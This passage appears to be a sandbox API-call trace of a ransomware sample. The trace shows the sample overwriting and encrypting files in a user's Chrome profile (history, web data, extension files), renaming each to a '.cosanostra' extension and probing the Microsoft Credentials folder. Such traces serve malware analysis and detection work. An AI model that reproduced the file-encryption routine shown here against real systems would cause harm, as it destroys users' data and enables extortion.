lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.397] WriteFile (in: hFile=0x18c, lpBuffer=0x251f834*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7f4, lpOverlapped=0x0 | out: lpBuffer=0x251f834*, lpNumberOfBytesWritten=0x251f7f4*=0x4, lpOverlapped=0x0) returned 1 [0087.398] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7f4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7f4*=0x30, lpOverlapped=0x0) returned 1 [0087.398] CloseHandle (hObject=0x18c) returned 1 [0087.398] wnsprintfW (in: pszDest=0x2ff2968, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.cosanostra") returned 175 [0087.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.cosanostra")) returned 1 [0087.400] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f830 | out: pbBuffer=0x251f830) returned 1 [0087.400] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f828*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f828*=0x30) returned 1 [0087.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.405] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json") returned 164 [0087.405] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0087.415] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.415] WriteFile (in: hFile=0x18c, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f7ec, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f7ec*=0x2800, lpOverlapped=0x0) returned 1 [0087.416] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.416] WriteFile (in: hFile=0x18c, lpBuffer=0x251f82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7ec, lpOverlapped=0x0 | out: lpBuffer=0x251f82c*, lpNumberOfBytesWritten=0x251f7ec*=0x4, lpOverlapped=0x0) returned 1 [0087.481] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7ec, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7ec*=0x30, lpOverlapped=0x0) returned 1 [0087.481] CloseHandle (hObject=0x18c) returned 1 [0087.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json.cosanostra")) returned 1 [0087.483] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f828 | out: pbBuffer=0x251f828) returned 1 [0087.483] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f820*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f820*=0x30) returned 1 [0087.483] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b04.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.483] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp") returned 105 [0087.483] StrStrW (lpFirst="2B04.tmp", lpSrch=".txt") returned 0x0 [0087.484] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.484] WriteFile (in: hFile=0x18c, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f7e4, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f7e4*=0x0, lpOverlapped=0x0) returned 1 [0087.484] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.484] WriteFile (in: hFile=0x18c, lpBuffer=0x251f824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7e4, lpOverlapped=0x0 | out: lpBuffer=0x251f824*, lpNumberOfBytesWritten=0x251f7e4*=0x4, lpOverlapped=0x0) returned 1 [0087.484] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7e4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7e4*=0x30, lpOverlapped=0x0) returned 1 [0087.485] CloseHandle (hObject=0x18c) returned 1 [0087.485] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b04.tmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\2B04.tmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\jumplisticonsold\\2b04.tmp.cosanostra")) returned 1 [0087.523] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f820 | out: pbBuffer=0x251f820) returned 1 [0087.523] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f818*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f818*=0x30) returned 1 [0087.523] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.523] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal") returned 95 [0087.523] StrStrW (lpFirst="History-journal", lpSrch=".txt") returned 0x0 [0087.524] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.524] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f7dc*=0x0, lpOverlapped=0x0) returned 1 [0087.524] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.524] WriteFile (in: hFile=0x18c, lpBuffer=0x251f81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7dc, lpOverlapped=0x0 | out: lpBuffer=0x251f81c*, lpNumberOfBytesWritten=0x251f7dc*=0x4, lpOverlapped=0x0) returned 1 [0087.524] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7dc*=0x30, lpOverlapped=0x0) returned 1 [0087.524] CloseHandle (hObject=0x18c) returned 1 [0087.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history-journal.cosanostra")) returned 1 [0087.525] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f820 | out: pbBuffer=0x251f820) returned 1 [0087.525] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f818*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f818*=0x30) returned 1 [0087.525] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.526] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache") returned 102 [0087.526] StrStrW (lpFirst="History Provider Cache", lpSrch=".txt") returned 0x0 [0087.527] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffebd1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.527] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x142f, lpNumberOfBytesWritten=0x251f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f7dc*=0x142f, lpOverlapped=0x0) returned 1 [0087.527] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x18c, lpBuffer=0x251f81c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7dc, lpOverlapped=0x0 | out: lpBuffer=0x251f81c*, lpNumberOfBytesWritten=0x251f7dc*=0x4, lpOverlapped=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7dc, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7dc*=0x30, lpOverlapped=0x0) returned 1 [0087.527] CloseHandle (hObject=0x18c) returned 1 [0087.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History Provider Cache.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history provider cache.cosanostra")) returned 1 [0087.528] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f818 | out: pbBuffer=0x251f818) returned 1 [0087.528] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f810*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f810*=0x30) returned 1 [0087.528] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0087.528] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History") returned 87 [0087.528] StrStrW (lpFirst="History", lpSrch=".txt") returned 0x0 [0087.558] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.558] WriteFile (in: hFile=0x18c, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f7d4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f7d4*=0x2800, lpOverlapped=0x0) returned 1 [0087.559] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.559] WriteFile (in: hFile=0x18c, lpBuffer=0x251f814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7d4, lpOverlapped=0x0 | out: lpBuffer=0x251f814*, lpNumberOfBytesWritten=0x251f7d4*=0x4, lpOverlapped=0x0) returned 1 [0087.559] WriteFile (in: hFile=0x18c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7d4*=0x30, lpOverlapped=0x0) returned 1 [0087.559] CloseHandle (hObject=0x18c) returned 1 [0087.615] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\history.cosanostra")) returned 1 [0087.616] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f818 | out: pbBuffer=0x251f818) returned 1 [0087.616] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f810*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f810*=0x30) returned 1 [0087.616] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.634] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json") returned 169 [0087.634] StrStrW (lpFirst="computed_hashes.json", lpSrch=".txt") returned 0x0 [0087.746] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.747] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f7d4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f7d4*=0x2800, lpOverlapped=0x0) returned 1 [0087.747] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.747] WriteFile (in: hFile=0x154, lpBuffer=0x251f814*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7d4, lpOverlapped=0x0 | out: lpBuffer=0x251f814*, lpNumberOfBytesWritten=0x251f7d4*=0x4, lpOverlapped=0x0) returned 1 [0087.761] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7d4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7d4*=0x30, lpOverlapped=0x0) returned 1 [0087.761] CloseHandle (hObject=0x154) returned 1 [0087.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\computed_hashes.json.cosanostra")) returned 1 [0087.765] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f808 | out: pbBuffer=0x251f808) returned 1 [0087.765] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f800*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f800*=0x30) returned 1 [0087.765] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.766] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal") returned 96 [0087.766] StrStrW (lpFirst="Web Data-journal", lpSrch=".txt") returned 0x0 [0087.766] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.766] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x251f7c4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f7c4*=0x0, lpOverlapped=0x0) returned 1 [0087.766] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.766] WriteFile (in: hFile=0x154, lpBuffer=0x251f804*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7c4, lpOverlapped=0x0 | out: lpBuffer=0x251f804*, lpNumberOfBytesWritten=0x251f7c4*=0x4, lpOverlapped=0x0) returned 1 [0087.767] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7c4*=0x30, lpOverlapped=0x0) returned 1 [0087.767] CloseHandle (hObject=0x154) returned 1 [0087.767] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data-journal.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data-journal.cosanostra")) returned 1 [0087.768] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f808 | out: pbBuffer=0x251f808) returned 1 [0087.768] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f800*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f800*=0x30) returned 1 [0087.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0087.769] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data") returned 88 [0087.769] StrStrW (lpFirst="Web Data", lpSrch=".txt") returned 0x0 [0087.781] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.781] WriteFile (in: hFile=0x154, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f7c4, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f7c4*=0x2800, lpOverlapped=0x0) returned 1 [0087.781] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.781] WriteFile (in: hFile=0x154, lpBuffer=0x251f804*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f7c4, lpOverlapped=0x0 | out: lpBuffer=0x251f804*, lpNumberOfBytesWritten=0x251f7c4*=0x4, lpOverlapped=0x0) returned 1 [0087.782] WriteFile (in: hFile=0x154, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f7c4, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f7c4*=0x30, lpOverlapped=0x0) returned 1 [0087.782] CloseHandle (hObject=0x154) returned 1 [0087.783] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\web data.cosanostra")) returned 1 [0087.786] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7f8 | out: pbBuffer=0x251f7f8) returned 1 [0087.786] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7f0*=0x30) returned 1 [0087.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Credentials\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.786] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f7f8 | out: pbBuffer=0x251f7f8) returned 1 [0087.786] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f7f0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f7f0*=0x30) returned 1 [0087.786] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS 